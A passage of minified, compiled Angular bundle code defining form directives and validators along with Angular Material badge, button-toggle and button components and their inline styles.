In)(gt)&&(Zt(gt,T,this.callSetDisabledState),T.control=gt))}),this.form._updateTreeValidity({emitEvent:!1})}_setUpFormContainer(T){const ue=this.form.get(T.path);Me(ue,T),ue.updateValueAndValidity({emitEvent:!1})}_cleanUpFormContainer(T){if(this.form){const ue=this.form.get(T.path);ue&&function O(I,L){return nn(I,L)}(ue,T)&&ue.updateValueAndValidity({emitEvent:!1})}}_updateRegistrations(){this.form._registerOnCollectionChange(this._onCollectionChange),this._oldForm&&this._oldForm._registerOnCollectionChange(()=>{})}_updateValidators(){gn(this.form,this),this._oldForm&&nn(this._oldForm,this)}_checkFormPresent(){}}return I.\\u0275fac=function(T){return new(T||I)(n.Y36(oe,10),n.Y36(Ce,10),n.Y36(Ne,8))},I.\\u0275dir=n.lG2({type:I,selectors:[["","formGroup",""]],hostBindings:function(T,ue){1&T&&n.NdJ("submit",function(Ot){return ue.onSubmit(Ot)})("reset",function(){return ue.onReset()})},inputs:{form:["formGroup","form"]},outputs:{ngSubmit:"ngSubmit"},exportAs:["ngForm"],features:[n._Bn([ui]),n.qOj,n.TTD]}),I})();const Ti={provide:ct,useExisting:(0,n.Gpc)(()=>qi)};let qi=(()=>{class I extends ct{set isDisabled(T){}constructor(T,ue,gt,Ot,Jt){super(),this._ngModelWarningConfig=Jt,this._added=!1,this.update=new n.vpe,this._ngModelWarningSent=!1,this._parent=T,this._setValidators(ue),this._setAsyncValidators(gt),this.valueAccessor=Qt(0,Ot)}ngOnChanges(T){this._added||this._setUpControl(),Wt(T,this.viewModel)&&(this.viewModel=this.model,this.formDirective.updateModel(this,this.model))}ngOnDestroy(){this.formDirective&&this.formDirective.removeControl(this)}viewToModelUpdate(T){this.viewModel=T,this.update.emit(T)}get path(){return Rt(null==this.name?this.name:this.name.toString(),this._parent)}get formDirective(){return this._parent?this._parent.formDirective:null}_checkParentType(){}_setUpControl(){this._checkParentType(),this.control=this.formDirective.addControl(this),this._added=!0}}return I._ngModelWarningSentOnce=!1,I.\\u0275fac=function(T){return new(T||I)(n.Y36(_e,13),n.Y36(oe,10),n.Y36(Ce,10),n.Y36(_,10),n.Y36(Sn,8))},I.\\u0275dir=n.lG2({type:I,selectors:[["","formControlName",""]],inputs:{name:["formControlName","name"],isDisabled:["disabled","isDisabled"],model:["ngModel","model"]},outputs:{update:"ngModelChange"},features:[n._Bn([Ti]),n.qOj,n.TTD]}),I})();const h2={provide:_,useExisting:(0,n.Gpc)(()=>Zn),multi:!0};function Ni(I,L){return null==I?`${L}`:(L&&"object"==typeof L&&(L="Object"),`${I}: ${L}`.slice(0,50))}let Zn=(()=>{class I extends E{constructor(){super(...arguments),this._optionMap=new Map,this._idCounter=0,this._compareWith=Object.is}set compareWith(T){this._compareWith=T}writeValue(T){this.value=T;const gt=Ni(this._getOptionId(T),T);this.setProperty("value",gt)}registerOnChange(T){this.onChange=ue=>{this.value=this._getOptionValue(ue),T(this.value)}}_registerOption(){return(this._idCounter++).toString()}_getOptionId(T){for(const ue of Array.from(this._optionMap.keys()))if(this._compareWith(this._optionMap.get(ue),T))return ue;return null}_getOptionValue(T){const ue=function ei(I){return I.split(":")[0]}(T);return this._optionMap.has(ue)?this._optionMap.get(ue):T}}return I.\\u0275fac=function(){let L;return function(ue){return(L||(L=n.n5z(I)))(ue||I)}}(),I.\\u0275dir=n.lG2({type:I,selectors:[["select","formControlName","",3,"multiple",""],["select","formControl","",3,"multiple",""],["select","ngModel","",3,"multiple",""]],hostBindings:function(T,ue){1&T&&n.NdJ("change",function(Ot){return ue.onChange(Ot.target.value)})("blur",function(){return ue.onTouched()})},inputs:{compareWith:"compareWith"},features:[n._Bn([h2]),n.qOj]}),I})(),Hi=(()=>{class I{constructor(T,ue,gt){this._element=T,this._renderer=ue,this._select=gt,this._select&&(this.id=this._select._registerOption())}set ngValue(T){null!=this._select&&(this._select._optionMap.set(this.id,T),this._setElementValue(Ni(this.id,T)),this._select.writeValue(this._select.value))}set value(T){this._setElementValue(T),this._select&&this._select.writeValue(this._select.value)}_setElementValue(T){this._renderer.setProperty(this._element.nativeElement,"value",T)}ngOnDestroy(){this._select&&(this._select._optionMap.delete(this.id),this._select.writeValue(this._select.value))}}return I.\\u0275fac=function(T){return new(T||I)(n.Y36(n.SBq),n.Y36(n.Qsj),n.Y36(Zn,9))},I.\\u0275dir=n.lG2({type:I,selectors:[["option"]],inputs:{ngValue:"ngValue",value:"value"}}),I})();const f2={provide:_,useExisting:(0,n.Gpc)(()=>yi),multi:!0};function Vi(I,L){return null==I?`${L}`:("string"==typeof L&&(L=`\'${L}\'`),L&&"object"==typeof L&&(L="Object"),`${I}: ${L}`.slice(0,50))}let yi=(()=>{class I extends E{constructor(){super(...arguments),this._optionMap=new Map,this._idCounter=0,this._compareWith=Object.is}set compareWith(T){this._compareWith=T}writeValue(T){let ue;if(this.value=T,Array.isArray(T)){const gt=T.map(Ot=>this._getOptionId(Ot));ue=(Ot,Jt)=>{Ot._setSelected(gt.indexOf(Jt.toString())>-1)}}else ue=(gt,Ot)=>{gt._setSelected(!1)};this._optionMap.forEach(ue)}registerOnChange(T){this.onChange=ue=>{const gt=[],Ot=ue.selectedOptions;if(void 0!==Ot){const Jt=Ot;for(let Tt=0;Tt<Jt.length;Tt++){const O1=this._getOptionValue(Jt[Tt].value);gt.push(O1)}}else{const Jt=ue.options;for(let Tt=0;Tt<Jt.length;Tt++){const t1=Jt[Tt];if(t1.selected){const O1=this._getOptionValue(t1.value);gt.push(O1)}}}this.value=gt,T(gt)}}_registerOption(T){const ue=(this._idCounter++).toString();return this._optionMap.set(ue,T),ue}_getOptionId(T){for(const ue of Array.from(this._optionMap.keys()))if(this._compareWith(this._optionMap.get(ue)._value,T))return ue;return null}_getOptionValue(T){const ue=function p2(I){return I.split(":")[0]}(T);return this._optionMap.has(ue)?this._optionMap.get(ue)._value:T}}return I.\\u0275fac=function(){let L;return function(ue){return(L||(L=n.n5z(I)))(ue||I)}}(),I.\\u0275dir=n.lG2({type:I,selectors:[["select","multiple","","formControlName",""],["select","multiple","","formControl",""],["select","multiple","","ngModel",""]],hostBindings:function(T,ue){1&T&&n.NdJ("change",function(Ot){return ue.onChange(Ot.target)})("blur",function(){return ue.onTouched()})},inputs:{compareWith:"compareWith"},features:[n._Bn([f2]),n.qOj]}),I})(),Bi=(()=>{class I{constructor(T,ue,gt){this._element=T,this._renderer=ue,this._select=gt,this._select&&(this.id=this._select._registerOption(this))}set ngValue(T){null!=this._select&&(this._value=T,this._setElementValue(Vi(this.id,T)),this._select.writeValue(this._select.value))}set value(T){this._select?(this._value=T,this._setElementValue(Vi(this.id,T)),this._select.writeValue(this._select.value)):this._setElementValue(T)}_setElementValue(T){this._renderer.setProperty(this._element.nativeElement,"value",T)}_setSelected(T){this._renderer.setProperty(this._element.nativeElement,"selected",T)}ngOnDestroy(){this._select&&(this._select._optionMap.delete(this.id),this._select.writeValue(this._select.value))}}return I.\\u0275fac=function(T){return new(T||I)(n.Y36(n.SBq),n.Y36(n.Qsj),n.Y36(yi,9))},I.\\u0275dir=n.lG2({type:I,selectors:[["option"]],inputs:{ngValue:"ngValue",value:"value"}}),I})();function Ji(I){return"number"==typeof I?I:parseInt(I,10)}let mn=(()=>{class I{constructor(){this._validator=Oe}ngOnChanges(T){if(this.inputName in T){const ue=this.normalizeInput(T[this.inputName].currentValue);this._enabled=this.enabled(ue),this._validator=this._enabled?this.createValidator(ue):Oe,this._onChange&&this._onChange()}}validate(T){return this._validator(T)}registerOnValidatorChange(T){this._onChange=T}enabled(T){return null!=T}}return I.\\u0275fac=function(T){return new(T||I)},I.\\u0275dir=n.lG2({type:I,features:[n.TTD]}),I})();const o2={provide:oe,useExisting:(0,n.Gpc)(()=>ki),multi:!0},Li={provide:oe,useExisting:(0,n.Gpc)(()=>Ci),multi:!0};let ki=(()=>{class I extends mn{constructor(){super(...arguments),this.inputName="required",this.normalizeInput=n.D6c,this.createValidator=T=>q}enabled(T){return T}}return I.\\u0275fac=function(){let L;return function(ue){return(L||(L=n.n5z(I)))(ue||I)}}(),I.\\u0275dir=n.lG2({type:I,selectors:[["","required","","formControlName","",3,"type","checkbox"],["","required","","formControl","",3,"type","checkbox"],["","required","","ngModel","",3,"type","checkbox"]],hostVars:1,hostBindings:function(T,ue){2&T&&n.uIk("required",ue._enabled?"":null)},inputs:{required:"required"},features:[n._Bn([o2]),n.qOj]}),I})(),Ci=(()=>{class I extends ki{constructor(){super(...arguments),this.createValidator=T=>we}}return I.\\u0275fac=function(){let L;return function(ue){return(L||(L=n.n5z(I)))(ue||I)}}(),I.\\u0275dir=n.lG2({type:I,selectors:[["input","type","checkbox","required","","formControlName",""],["input","type","checkbox","required","","formControl",""],["input","type","checkbox","required","","ngModel",""]],hostVars:1,hostBindings:function(T,ue){2&T&&n.uIk("required",ue._enabled?"":null)},features:[n._Bn([Li]),n.qOj]}),I})();const Xi={provide:oe,useExisting:(0,n.Gpc)(()=>bn),multi:!0};let bn=(()=>{class I extends mn{constructor(){super(...arguments),this.inputName="minlength",this.normalizeInput=T=>Ji(T),this.createValidator=T=>je(T)}}return I.\\u0275fac=function(){let L;return function(ue){return(L||(L=n.n5z(I)))(ue||I)}}(),I.\\u0275dir=n.lG2({type:I,selectors:[["","minlength","","formControlName",""],["","minlength","","formControl",""],["","minlength","","ngModel",""]],hostVars:1,hostBindings:function(T,ue){2&T&&n.uIk("minlength",ue._enabled?ue.minlength:null)},inputs:{minlength:"minlength"},features:[n._Bn([Xi]),n.qOj]}),I})();const Gi={provide:oe,useExisting:(0,n.Gpc)(()=>un),multi:!0};let un=(()=>{class I extends mn{constructor(){super(...arguments),this.inputName="maxlength",this.normalizeInput=T=>Ji(T),this.createValidator=T=>Ze(T)}}return I.\\u0275fac=function(){let L;return function(ue){return(L||(L=n.n5z(I)))(ue||I)}}(),I.\\u0275dir=n.lG2({type:I,selectors:[["","maxlength","","formControlName",""],["","maxlength","","formControl",""],["","maxlength","","ngModel",""]],hostVars:1,hostBindings:function(T,ue){2&T&&n.uIk("maxlength",ue._enabled?ue.maxlength:null)},inputs:{maxlength:"maxlength"},features:[n._Bn([Gi]),n.qOj]}),I})();const en={provide:oe,useExisting:(0,n.Gpc)(()=>Mi),multi:!0};let Mi=(()=>{class I extends mn{constructor(){super(...arguments),this.inputName="pattern",this.normalizeInput=T=>T,this.createValidator=T=>le(T)}}return I.\\u0275fac=function(){let L;return function(ue){return(L||(L=n.n5z(I)))(ue||I)}}(),I.\\u0275dir=n.lG2({type:I,selectors:[["","pattern","","formControlName",""],["","pattern","","formControl",""],["","pattern","","ngModel",""]],hostVars:1,hostBindings:function(T,ue){2&T&&n.uIk("pattern",ue._enabled?ue.pattern:null)},inputs:{pattern:"pattern"},features:[n._Bn([en]),n.qOj]}),I})(),pi=(()=>{class I{}return I.\\u0275fac=function(T){return new(T||I)},I.\\u0275mod=n.oAB({type:I}),I.\\u0275inj=n.cJS({imports:[_i]}),I})(),ye=(()=>{class I{static withConfig(T){return{ngModule:I,providers:[{provide:Ne,useValue:T.callSetDisabledState??ut}]}}}return I.\\u0275fac=function(T){return new(T||I)},I.\\u0275mod=n.oAB({type:I}),I.\\u0275inj=n.cJS({imports:[pi]}),I})(),st=(()=>{class I{static withConfig(T){return{ngModule:I,providers:[{provide:Sn,useValue:T.warnOnNgModelWithFormControl??"always"},{provide:Ne,useValue:T.callSetDisabledState??ut}]}}}return I.\\u0275fac=function(T){return new(T||I)},I.\\u0275mod=n.oAB({type:I}),I.\\u0275inj=n.cJS({imports:[pi]}),I})()},2673:(At,ae,d)=>{"use strict";d.d(ae,{g:()=>S,k:()=>_});var n=d(4650),a=d(3238),s=d(2687),u=d(1281);let c=0;const f=(0,a.Id)(class{}),E="mat-badge-content";let _=(()=>{class g extends f{constructor(z,H,j,U,G){super(),this._ngZone=z,this._elementRef=H,this._ariaDescriber=j,this._renderer=U,this._animationMode=G,this._color="primary",this._overlap=!0,this.position="above after",this.size="medium",this._id=c++,this._isInitialized=!1}get color(){return this._color}set color(z){this._setColor(z),this._color=z}get overlap(){return this._overlap}set overlap(z){this._overlap=(0,u.Ig)(z)}get content(){return this._content}set content(z){this._updateRenderedContent(z)}get description(){return this._description}set description(z){this._updateHostAriaDescription(z)}get hidden(){return this._hidden}set hidden(z){this._hidden=(0,u.Ig)(z)}isAbove(){return-1===this.position.indexOf("below")}isAfter(){return-1===this.position.indexOf("before")}getBadgeElement(){return this._badgeElement}ngOnInit(){this._clearExistingBadges(),this.content&&!this._badgeElement&&(this._badgeElement=this._createBadgeElement(),this._updateRenderedContent(this.content)),this._isInitialized=!0}ngOnDestroy(){this._renderer.destroyNode&&this._renderer.destroyNode(this._badgeElement),this._ariaDescriber.removeDescription(this._elementRef.nativeElement,this.description)}_createBadgeElement(){const z=this._renderer.createElement("span"),H="mat-badge-active";return z.setAttribute("id",`mat-badge-content-${this._id}`),z.setAttribute("aria-hidden","true"),z.classList.add(E),"NoopAnimations"===this._animationMode&&z.classList.add("_mat-animation-noopable"),this._elementRef.nativeElement.appendChild(z),"function"==typeof requestAnimationFrame&&"NoopAnimations"!==this._animationMode?this._ngZone.runOutsideAngular(()=>{requestAnimationFrame(()=>{z.classList.add(H)})}):z.classList.add(H),z}_updateRenderedContent(z){const H=`${z??""}`.trim();this._isInitialized&&H&&!this._badgeElement&&(this._badgeElement=this._createBadgeElement()),this._badgeElement&&(this._badgeElement.textContent=H),this._content=H}_updateHostAriaDescription(z){this._ariaDescriber.removeDescription(this._elementRef.nativeElement,this.description),z&&this._ariaDescriber.describe(this._elementRef.nativeElement,z),this._description=z}_setColor(z){const H=this._elementRef.nativeElement.classList;H.remove(`mat-badge-${this._color}`),z&&H.add(`mat-badge-${z}`)}_clearExistingBadges(){const z=this._elementRef.nativeElement.querySelectorAll(`:scope > .${E}`);for(const H of Array.from(z))H!==this._badgeElement&&H.remove()}}return g.\\u0275fac=function(z){return new(z||g)(n.Y36(n.R0b),n.Y36(n.SBq),n.Y36(s.$s),n.Y36(n.Qsj),n.Y36(n.QbO,8))},g.\\u0275dir=n.lG2({type:g,selectors:[["","matBadge",""]],hostAttrs:[1,"mat-badge"],hostVars:20,hostBindings:function(z,H){2&z&&n.ekj("mat-badge-overlap",H.overlap)("mat-badge-above",H.isAbove())("mat-badge-below",!H.isAbove())("mat-badge-before",!H.isAfter())("mat-badge-after",H.isAfter())("mat-badge-small","small"===H.size)("mat-badge-medium","medium"===H.size)("mat-badge-large","large"===H.size)("mat-badge-hidden",H.hidden||!H.content)("mat-badge-disabled",H.disabled)},inputs:{disabled:["matBadgeDisabled","disabled"],color:["matBadgeColor","color"],overlap:["matBadgeOverlap","overlap"],position:["matBadgePosition","position"],content:["matBadge","content"],description:["matBadgeDescription","description"],size:["matBadgeSize","size"],hidden:["matBadgeHidden","hidden"]},features:[n.qOj]}),g})(),S=(()=>{class g{}return g.\\u0275fac=function(z){return new(z||g)},g.\\u0275mod=n.oAB({type:g}),g.\\u0275inj=n.cJS({imports:[s.rt,a.BQ,a.BQ]}),g})()},811:(At,ae,d)=>{"use strict";d.d(ae,{Yi:()=>G,vV:()=>Q});var n=d(2687),a=d(1281),u=(d(5017),d(4650)),f=(d(4006),d(3238));const E=["button"],_=["*"],S=new u.OlP("MAT_BUTTON_TOGGLE_DEFAULT_OPTIONS"),g=new u.OlP("MatButtonToggleGroup");let z=0;class H{constructor(Ce,k){this.source=Ce,this.value=k}}const U=(0,f.Kr)(class{});let G=(()=>{class oe extends U{constructor(k,K,se,ee,q,we){super(),this._changeDetectorRef=K,this._elementRef=se,this._focusMonitor=ee,this._checked=!1,this.ariaLabelledby=null,this._disabled=!1,this.change=new u.vpe;const ce=Number(q);this.tabIndex=ce||0===ce?ce:null,this.buttonToggleGroup=k,this.appearance=we&&we.appearance?we.appearance:"standard"}get buttonId(){return`${this.id}-button`}get appearance(){return this.buttonToggleGroup?this.buttonToggleGroup.appearance:this._appearance}set appearance(k){this._appearance=k}get checked(){return this.buttonToggleGroup?this.buttonToggleGroup._isSelected(this):this._checked}set checked(k){const K=(0,a.Ig)(k);K!==this._checked&&(this._checked=K,this.buttonToggleGroup&&this.buttonToggleGroup._syncButtonToggle(this,this._checked),this._changeDetectorRef.markForCheck())}get disabled(){return this._disabled||this.buttonToggleGroup&&this.buttonToggleGroup.disabled}set disabled(k){this._disabled=(0,a.Ig)(k)}ngOnInit(){const k=this.buttonToggleGroup;this.id=this.id||"mat-button-toggle-"+z++,k&&(k._isPrechecked(this)?this.checked=!0:k._isSelected(this)!==this._checked&&k._syncButtonToggle(this,this._checked))}ngAfterViewInit(){this._focusMonitor.monitor(this._elementRef,!0)}ngOnDestroy(){const k=this.buttonToggleGroup;this._focusMonitor.stopMonitoring(this._elementRef),k&&k._isSelected(this)&&k._syncButtonToggle(this,!1,!1,!0)}focus(k){this._buttonElement.nativeElement.focus(k)}_onButtonClick(){const k=!!this._isSingleSelector()||!this._checked;k!==this._checked&&(this._checked=k,this.buttonToggleGroup&&(this.buttonToggleGroup._syncButtonToggle(this,this._checked,!0),this.buttonToggleGroup._onTouched())),this.change.emit(new H(this,this.value))}_markForCheck(){this._changeDetectorRef.markForCheck()}_getButtonName(){return this._isSingleSelector()?this.buttonToggleGroup.name:this.name||null}_isSingleSelector(){return this.buttonToggleGroup&&!this.buttonToggleGroup.multiple}}return oe.\\u0275fac=function(k){return new(k||oe)(u.Y36(g,8),u.Y36(u.sBO),u.Y36(u.SBq),u.Y36(n.tE),u.$8M("tabindex"),u.Y36(S,8))},oe.\\u0275cmp=u.Xpm({type:oe,selectors:[["mat-button-toggle"]],viewQuery:function(k,K){if(1&k&&u.Gf(E,5),2&k){let se;u.iGM(se=u.CRH())&&(K._buttonElement=se.first)}},hostAttrs:["role","presentation",1,"mat-button-toggle"],hostVars:12,hostBindings:function(k,K){1&k&&u.NdJ("focus",function(){return K.focus()}),2&k&&(u.uIk("aria-label",null)("aria-labelledby",null)("id",K.id)("name",null),u.ekj("mat-button-toggle-standalone",!K.buttonToggleGroup)("mat-button-toggle-checked",K.checked)("mat-button-toggle-disabled",K.disabled)("mat-button-toggle-appearance-standard","standard"===K.appearance))},inputs:{disableRipple:"disableRipple",ariaLabel:["aria-label","ariaLabel"],ariaLabelledby:["aria-labelledby","ariaLabelledby"],id:"id",name:"name",value:"value",tabIndex:"tabIndex",appearance:"appearance",checked:"checked",disabled:"disabled"},outputs:{change:"change"},exportAs:["matButtonToggle"],features:[u.qOj],ngContentSelectors:_,decls:6,vars:9,consts:[["type","button",1,"mat-button-toggle-button","mat-focus-indicator",3,"id","disabled","click"],["button",""],[1,"mat-button-toggle-label-content"],[1,"mat-button-toggle-focus-overlay"],["matRipple","",1,"mat-button-toggle-ripple",3,"matRippleTrigger","matRippleDisabled"]],template:function(k,K){if(1&k&&(u.F$t(),u.TgZ(0,"button",0,1),u.NdJ("click",function(){return K._onButtonClick()}),u.TgZ(2,"span",2),u.Hsn(3),u.qZA()(),u._UZ(4,"span",3)(5,"span",4)),2&k){const se=u.MAs(1);u.Q6J("id",K.buttonId)("disabled",K.disabled||null),u.uIk("tabindex",K.disabled?-1:K.tabIndex)("aria-pressed",K.checked)("name",K._getButtonName())("aria-label",K.ariaLabel)("aria-labelledby",K.ariaLabelledby),u.xp6(5),u.Q6J("matRippleTrigger",se)("matRippleDisabled",K.disableRipple||K.disabled)}},dependencies:[f.wG],styles:[".mat-button-toggle-standalone,.mat-button-toggle-group{position:relative;display:inline-flex;flex-direction:row;white-space:nowrap;overflow:hidden;border-radius:2px;-webkit-tap-highlight-color:rgba(0,0,0,0);transform:translateZ(0)}.cdk-high-contrast-active .mat-button-toggle-standalone,.cdk-high-contrast-active .mat-button-toggle-group{outline:solid 1px}.mat-button-toggle-standalone.mat-button-toggle-appearance-standard,.mat-button-toggle-group-appearance-standard{border-radius:4px}.cdk-high-contrast-active .mat-button-toggle-standalone.mat-button-toggle-appearance-standard,.cdk-high-contrast-active .mat-button-toggle-group-appearance-standard{outline:0}.mat-button-toggle-vertical{flex-direction:column}.mat-button-toggle-vertical .mat-button-toggle-label-content{display:block}.mat-button-toggle{white-space:nowrap;position:relative}.mat-button-toggle .mat-icon svg{vertical-align:top}.mat-button-toggle.cdk-keyboard-focused .mat-button-toggle-focus-overlay{opacity:1}.mat-button-toggle-appearance-standard:not(.mat-button-toggle-disabled):hover .mat-button-toggle-focus-overlay{opacity:.04}.mat-button-toggle-appearance-standard.cdk-keyboard-focused:not(.mat-button-toggle-disabled) .mat-button-toggle-focus-overlay{opacity:.12}@media(hover: none){.mat-button-toggle-appearance-standard:not(.mat-button-toggle-disabled):hover .mat-button-toggle-focus-overlay{display:none}}.mat-button-toggle-label-content{-webkit-user-select:none;user-select:none;display:inline-block;line-height:36px;padding:0 16px;position:relative}.mat-button-toggle-appearance-standard .mat-button-toggle-label-content{padding:0 12px}.mat-button-toggle-label-content>*{vertical-align:middle}.mat-button-toggle-focus-overlay{top:0;left:0;right:0;bottom:0;position:absolute;border-radius:inherit;pointer-events:none;opacity:0}.cdk-high-contrast-active .mat-button-toggle-checked .mat-button-toggle-focus-overlay{border-bottom:solid 36px;opacity:.5;height:0}.cdk-high-contrast-active .mat-button-toggle-checked:hover .mat-button-toggle-focus-overlay{opacity:.6}.cdk-high-contrast-active .mat-button-toggle-checked.mat-button-toggle-appearance-standard .mat-button-toggle-focus-overlay{border-bottom:solid 500px}.mat-button-toggle .mat-button-toggle-ripple{top:0;left:0;right:0;bottom:0;position:absolute;pointer-events:none}.mat-button-toggle-button{border:0;background:none;color:inherit;padding:0;margin:0;font:inherit;outline:none;width:100%;cursor:pointer}.mat-button-toggle-disabled .mat-button-toggle-button{cursor:default}.mat-button-toggle-button::-moz-focus-inner{border:0}"],encapsulation:2,changeDetection:0}),oe})(),Q=(()=>{class oe{}return oe.\\u0275fac=function(k){return new(k||oe)},oe.\\u0275mod=u.oAB({type:oe}),oe.\\u0275inj=u.cJS({imports:[f.BQ,f.si,f.BQ]}),oe})()},4859:(At,ae,d)=>{"use strict";d.d(ae,{lW:()=>g,ot:()=>z,zs:()=>C});var n=d(4650),a=d(3238),s=d(2687);const u=["mat-button",""],c=["*"],_=["mat-button","mat-flat-button","mat-icon-button","mat-raised-button","mat-stroked-button","mat-mini-fab","mat-fab"],S=(0,a.pj)((0,a.Id)((0,a.Kr)(class{constructor(H){this._elementRef=H}})));let g=(()=>{class H extends S{constructor(U,G,Q){super(U),this._focusMonitor=G,this._animationMode=Q,this.isRoundButton=this._hasHostAttributes("mat-fab","mat-mini-fab"),this.isIconButton=this._hasHostAttributes("mat-icon-button");for(const oe of _)this._hasHostAttributes(oe)&&this._getHostElement().classList.add(oe);U.nativeElement.classList.add("mat-button-base"),this.isRoundButton&&(this.color="accent")}ngAfterViewInit(){this._focusMonitor.monitor(this._elementRef,!0)}ngOnDestroy(){this._focusMonitor.stopMonitoring(this._elementRef)}focus(U,G){U?this._focusMonitor.focusVia(this._getHostElement(),U,G):this._getHostElement().focus(G)}_getHostElement(){return this._elementRef.nativeElement}_isRippleDisabled(){return this.disableRipple||this.disabled}_hasHostAttributes(...U){return U.some(G=>this._getHostElement().hasAttribute(G))}}return H.\\u0275fac=function(U){return new(U||H)(n.Y36(n.SBq),n.Y36(s.tE),n.Y36(n.QbO,8))},H.\\u0275cmp=n.Xpm({type:H,selectors:[["button","mat-button",""],["button","mat-raised-button",""],["button","mat-icon-button",""],["button","mat-fab",""],["button","mat-mini-fab",""],["button","mat-stroked-button",""],["button","mat-flat-button",""]],viewQuery:function(U,G){if(1&U&&n.Gf(a.wG,5),2&U){let Q;n.iGM(Q=n.CRH())&&(G.ripple=Q.first)}},hostAttrs:[1,"mat-focus-indicator"],hostVars:5,hostBindings:function(U,G){2&U&&(n.uIk("disabled",G.disabled||null),n.ekj("_mat-animation-noopable","NoopAnimations"===G._animationMode)("mat-button-disabled",G.disabled))},inputs:{disabled:"disabled",disableRipple:"disableRipple",color:"color"},exportAs:["matButton"],features:[n.qOj],attrs:u,ngContentSelectors:c,decls:4,vars:5,consts:[[1,"mat-button-wrapper"],["matRipple","",1,"mat-button-ripple",3,"matRippleDisabled","matRippleCentered","matRippleTrigger"],[1,"mat-button-focus-overlay"]],template:function(U,G){1&U&&(n.F$t(),n.TgZ(0,"span",0),n.Hsn(1),n.qZA(),n._UZ(2,"span",1)(3,"span",2)),2&U&&(n.xp6(2),n.ekj("mat-button-ripple-round",G.isRoundButton||G.isIconButton),n.Q6J("matRippleDisabled",G._isRippleDisabled())("matRippleCentered",G.isIconButton)("matRippleTrigger",G._getHostElement()))},dependencies:[a.wG],styles:[".mat-button .mat-button-focus-overlay,.mat-icon-button .mat-button-focus-overlay{opacity:0}.mat-button:hover:not(.mat-button-disabled) .mat-button-focus-overlay,.mat-stroked-button:hover:not(.mat-button-disabled) .mat-button-focus-overlay{opacity:.04}@media(hover: none){.mat-button:hover:not(.mat-button-disabled) .mat-button-focus-overlay,.mat-stroked-button:hover:not(.mat-button-disabled) .mat-button-focus-overlay{opacity:0}}.mat-button,.mat-icon-button,.mat-stroked-button,.mat-flat-button{box-sizing:border-box;position:relative;-webkit-user-select:none;user-select:none;cursor:pointer;outline:none;border:none;-webkit-tap-highlight-color:rgba(0,0,0,0);display:inline-block;white-space:nowrap;text-decoration:none;vertical-align:baseline;text-align:center;margin:0;min-width:64px;line-height:36px;padding:0 16px;border-radius:4px;overflow:visible}.mat-button::-moz-focus-inner,.mat-icon-button::-moz-focus-inner,.mat-stroked-button::-moz-focus-inner,.mat-flat-button::-moz-focus-inner{border:0}.mat-button.mat-button-disabled,.mat-icon-button.mat-button-disabled,.mat-stroked-button.mat-button-disabled,.mat-flat-button.mat-button-disabled{cursor:default}.mat-button.cdk-keyboard-focused .mat-button-focus-overlay,.mat-button.cdk-program-focused .mat-button-focus-overlay,.mat-icon-button.cdk-keyboard-focused .mat-button-focus-overlay,.mat-icon-button.cdk-program-focused .mat-button-focus-overlay,.mat-stroked-button.cdk-keyboard-focused .mat-button-focus-overlay,.mat-stroked-button.cdk-program-focused .mat-button-focus-overlay,.mat-flat-button.cdk-keyboard-focused .mat-button-focus-overlay,.mat-flat-button.cdk-program-focused .mat-button-focus-overlay{opacity:.12}.mat-button::-moz-focus-inner,.mat-icon-button::-moz-focus-inner,.mat-stroked-button::-moz-focus-inner,.mat-flat-button::-moz-focus-inner{border:0}.mat-raised-button{box-sizing:border-box;position:relative;-webkit-user-select:none;user-select:none;cursor:pointer;outline:none;border:none;-webkit-tap-highlight-color:rgba(0,0,0,0);display:inline-block;white-space:nowrap;text-decoration:none;vertical-align:baseline;text-align:center;margin:0;min-width:64px;line-height:36px;padding:0 16px;border-radius:4px;overflow:visible;transform:translate3d(0, 0, 0);transition:background 400ms cubic-bezier(0.25, 0.8, 0.25, 1),box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1)}.mat-raised-button::-moz-focus-inner{border:0}.mat-raised-button.mat-button-disabled{cursor:default}.mat-raised-button.cdk-keyboard-focused .mat-button-focus-overlay,.mat-raised-button.cdk-program-focused .mat-button-focus-overlay{opacity:.12}.mat-raised-button::-moz-focus-inner{border:0}.mat-raised-button._mat-animation-noopable{transition:none !important;animation:none !important}.mat-stroked-button{border:1px solid currentColor;padding:0 15px;line-height:34px}.mat-stroked-button .mat-button-ripple.mat-ripple,.mat-stroked-button .mat-button-focus-overlay{top:-1px;left:-1px;right:-1px;bottom:-1px}.mat-fab{box-sizing:border-box;position:relative;-webkit-user-select:none;user-select:none;cursor:pointer;outline:none;border:none;-webkit-tap-highlight-color:rgba(0,0,0,0);display:inline-block;white-space:nowrap;text-decoration:none;vertical-align:baseline;text-align:center;margin:0;min-width:64px;line-height:36px;padding:0 16px;border-radius:4px;overflow:visible;transform:translate3d(0, 0, 0);transition:background 400ms cubic-bezier(0.25, 0.8, 0.25, 1),box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1);min-width:0;border-radius:50%;width:56px;height:56px;padding:0;flex-shrink:0}.mat-fab::-moz-focus-inner{border:0}.mat-fab.mat-button-disabled{cursor:default}.mat-fab.cdk-keyboard-focused .mat-button-focus-overlay,.mat-fab.cdk-program-focused .mat-button-focus-overlay{opacity:.12}.mat-fab::-moz-focus-inner{border:0}.mat-fab._mat-animation-noopable{transition:none !important;animation:none !important}.mat-fab .mat-button-wrapper{padding:16px 0;display:inline-block;line-height:24px}.mat-mini-fab{box-sizing:border-box;position:relative;-webkit-user-select:none;user-select:none;cursor:pointer;outline:none;border:none;-webkit-tap-highlight-color:rgba(0,0,0,0);display:inline-block;white-space:nowrap;text-decoration:none;vertical-align:baseline;text-align:center;margin:0;min-width:64px;line-height:36px;padding:0 16px;border-radius:4px;overflow:visible;transform:translate3d(0, 0, 0);transition:background 400ms cubic-bezier(0.25, 0.8, 0.25, 1),box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1);min-width:0;border-radius:50%;width:40px;height:40px;padding:0;flex-shrink:0}.mat-mini-fab::-moz-focus-inner{border:0}.mat-mini-fab.mat-button-disabled{cursor:default}.mat-mini-fab.cdk-keyboard-focused .mat-button-focus-overlay,.mat-mini-fab.cdk-program-focused .mat-button-focus-overlay{opacity:.12}.mat-mini-fab::-moz-focus-inner{border:0}.mat-mini-fab._mat-animation-noopable{transition:none !important;animation:none !important}.mat-mini-fab .mat-button-wrapper{padding:8px 0;display:inline-block;line-height:24px}.mat-icon-button{padding:0;min-width:0;width:40px;height:40px;flex-shrink:0;line-height:40px;border-radius:50%}.mat-icon-button i,.mat-icon-button 